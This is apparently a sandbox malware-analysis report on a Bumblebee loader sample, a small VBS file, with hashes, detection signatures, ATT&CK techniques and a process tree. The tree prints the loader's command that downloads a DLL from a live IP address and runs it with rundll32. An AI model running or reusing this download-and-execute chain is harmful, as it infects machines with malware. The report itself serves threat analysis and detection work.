bumblebee | e7407a0fe469fda07809db9a264e4c423d9f740344abca7675e9e78a9ede9f3c

Analysis

max time kernel
240s
max time network
290s
platform
windows10-2004_x64
resource
win10v2004-20230831-en
resource tags

arch:x64arch:x86image:win10v2004-20230831-enlocale:en-usos:windows10-2004-x64system
submitted
13-09-2023 19:43

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

IN(11)-9-12-2023_218082.vbs
Size

1KB
MD5

1be17a0ac48cab72a10836953c8186b0
SHA1

d5bdf81792cc2434d49bae66b1cc60027220298c
SHA256

e7407a0fe469fda07809db9a264e4c423d9f740344abca7675e9e78a9ede9f3c
SHA512

38a7e2121975a5ef80db59d81f3bca3fe845f4072a7b068d09707690b851b5e41ccf899ca7ff732ccb770528b772cdc2efadecf9d5a7bd34678d1c00053038f5

Score

10^/10

bumblebee js1 trojan

Malware Config

Extracted

Family

bumblebee

Botnet

js1

rc4.plain

Signatures

BumbleBee
BumbleBee is a webshell malware written in C++.
trojan bumblebee

Blocklisted process makes network request 2 IoCs

flow	pid	Process
13	4340	powershell.exe
56	4456	rundll32.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-528036852-1341495193-1175965888-1000\Control Panel\International\Geo\Nation	WScript.exe

Loads dropped DLL 1 IoCs

pid	Process
4456	rundll32.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
4456	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4340	powershell.exe
4340	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4340	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 712 wrote to memory of 4340	712	WScript.exe	86
PID 712 wrote to memory of 4340	712	WScript.exe	86
PID 712 wrote to memory of 4456	712	WScript.exe	99
PID 712 wrote to memory of 4456	712	WScript.exe	99

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IN(11)-9-12-2023_218082.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" invoke-webrequest -uri 'http://128.140.97.33/6fc0ob45c6.dll' -outfile 'c:\users\public\name.dll';
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4340
- C:\Windows\System32\rundll32.exe
  "C:\Windows\System32\rundll32.exe" c:\users\public\name.dll,DllRegisterServer
  2⤵
  - Blocklisted process makes network request
  - Loads dropped DLL
  - Suspicious use of NtCreateThreadExHideFromDebugger
  PID:4456

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5tczondo.fak.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Public\name.dll

Filesize
1.1MB

MD5
ff519023357a9cc5bb731d798de2f6b6

SHA1
c14545a2d261647012a825e77af3a52fbc2cbc4d

SHA256
e714557aa665651045795c747d9b0faec60863c27edd579c7d6ed75bb33b94f1

SHA512
daddc936416b6ff42bdc47ea50b9b7e0acdaa202f46f75e8a14422c5254eb9a23918bd42ea6131503692045cbedf66373429c9c3cd07286c649f2a04801df1c0

Download Submit
\??\c:\users\public\name.dll

Filesize
1.1MB

MD5
ff519023357a9cc5bb731d798de2f6b6

SHA1
c14545a2d261647012a825e77af3a52fbc2cbc4d

SHA256
e714557aa665651045795c747d9b0faec60863c27edd579c7d6ed75bb33b94f1

SHA512
daddc936416b6ff42bdc47ea50b9b7e0acdaa202f46f75e8a14422c5254eb9a23918bd42ea6131503692045cbedf66373429c9c3cd07286c649f2a04801df1c0

Download Submit
memory/4340-11-0x000001DE4E650000-0x000001DE4E660000-memory.dmp

Filesize
64KB

Download
memory/4340-12-0x000001DE4E650000-0x000001DE4E660000-memory.dmp

Filesize
64KB

Download
memory/4340-13-0x000001DE4E650000-0x000001DE4E660000-memory.dmp

Filesize
64KB

Download
memory/4340-17-0x00007FFC15F00000-0x00007FFC169C1000-memory.dmp

Filesize
10.8MB

Download
memory/4340-10-0x00007FFC15F00000-0x00007FFC169C1000-memory.dmp

Filesize
10.8MB

Download
memory/4340-5-0x000001DE66D60000-0x000001DE66D82000-memory.dmp

Filesize
136KB

Download
memory/4456-21-0x00000230CD8C0000-0x00000230CD9CA000-memory.dmp

Filesize
1.0MB

Download
memory/4456-20-0x00000230CD730000-0x00000230CD7A9000-memory.dmp

Filesize
484KB

Download
memory/4456-22-0x00007FFC33FD0000-0x00007FFC341C5000-memory.dmp

Filesize
2.0MB

Download
memory/4456-23-0x00007FFC33FD0000-0x00007FFC341C5000-memory.dmp

Filesize
2.0MB

Download
memory/4456-24-0x00007FFC33FD0000-0x00007FFC341C5000-memory.dmp

Filesize
2.0MB

Download
memory/4456-25-0x00000230CD8C0000-0x00000230CD9CA000-memory.dmp

Filesize
1.0MB

Download
memory/4456-26-0x00000230CD730000-0x00000230CD7A9000-memory.dmp

Filesize
484KB

Download
memory/4456-27-0x00007FFC33FD0000-0x00007FFC341C5000-memory.dmp

Filesize
2.0MB

Download